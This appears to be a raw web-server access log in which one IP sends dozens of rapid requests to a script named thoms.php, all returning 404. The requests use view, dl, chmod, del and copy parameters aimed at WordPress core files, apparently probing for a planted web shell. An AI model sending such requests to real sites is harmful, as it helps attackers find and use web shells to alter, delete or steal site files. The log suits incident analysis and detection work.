45.135.193.11 - - [12/Sep/2026:00:03:36 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=version.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=version.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:36 -0400] "GET /thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:36 -0400] "GET /thoms.php?chmod=class-wp-comment.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:36 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-script-modules.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:36 -0400] "GET /thoms.php?dl=default-constants.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=default-constants.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:36 -0400] "GET /thoms.php?chmod=functions.wp-styles.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-styles.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:36 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=l10n.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=l10n.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:36 -0400] "GET /thoms.php?chmod=ms-functions.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-functions.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fblock-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fblock-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:37 -0400] "GET /thoms.php?dl=class-oembed.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-oembed.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:37 -0400] "GET /thoms.php?del=class-wp-block-type.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:37 -0400] "GET /thoms.php?chmod=class-wp-http-encoding.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-encoding.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:37 -0400] "GET /thoms.php?del=class-wp-paused-extensions-storage.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-paused-extensions-storage.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:37 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=cron.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:37 -0400] "GET /thoms.php?del=class-walker-page.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-page.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:37 -0400] "GET /thoms.php?del=default-filters.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=default-filters.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fdefault-filters.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fdefault-filters.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ffeed-rss.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ffeed-rss.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:37 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=theme-previews.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=theme-previews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:37 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=media-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=media-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fview-transitions.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fview-transitions.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:37 -0400] "GET /thoms.php?del=php-compat&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=php-compat&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2FRequests&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2FRequests&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:37 -0400] "GET /thoms.php?del=SimplePie&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=SimplePie&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fcanonical.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fcanonical.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:38 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:38 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=abilities-api.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=abilities-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:38 -0400] "GET /thoms.php?del=block-editor.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-editor.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:38 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-feed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:38 -0400] "GET /thoms.php?dl=class-wp-scripts.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-scripts.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:38 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:38 -0400] "GET /thoms.php?chmod=class-wp.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:38 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=ai-client.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=ai-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:38 -0400] "GET /thoms.php?chmod=comment-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=comment-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:38 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=general-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=general-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:38 -0400] "GET /thoms.php?dl=ms-functions.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-functions.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fstyle-engine.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fstyle-engine.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fwp-db.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fwp-db.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:38 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fjs HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:38 -0400] "GET /thoms.php?del=connectors.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=connectors.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:39 -0400] "GET /thoms.php?del=load.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=load.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fnav-menu.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fnav-menu.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:39 -0400] "GET /thoms.php?dl=class-wp-dependencies.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependencies.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:39 -0400] "GET /thoms.php?chmod=rewrite.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=rewrite.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:39 -0400] "GET /thoms.php?del=view-transitions.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=view-transitions.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:39 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fwidgets HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fwidgets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:39 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=connectors.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:39 -0400] "GET /thoms.php?dl=class-wp-theme-json-data.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-data.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:39 -0400] "GET /thoms.php?dl=cron.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=cron.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:39 -0400] "GET /thoms.php?del=session.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=session.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:39 -0400] "GET /thoms.php?del=widgets.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:39 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fblock-bindings HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fblock-bindings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fabilities-api.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fabilities-api.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-IXR.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-IXR.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-smtp.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-smtp.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:39 -0400] "GET /thoms.php?chmod=class-wp-block-supports.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-supports.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:40 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:40 -0400] "GET /thoms.php?dl=class-wp-duotone.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-duotone.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:40 -0400] "GET /thoms.php?del=class-wp-http.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:40 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:40 -0400] "GET /thoms.php?dl=class-wp-block-patterns-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-patterns-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:40 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-role.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-role.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:40 -0400] "GET /thoms.php?chmod=class-wp-site-query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site-query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:40 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:40 -0400] "GET /thoms.php?dl=version.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=version.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:40 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:40 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
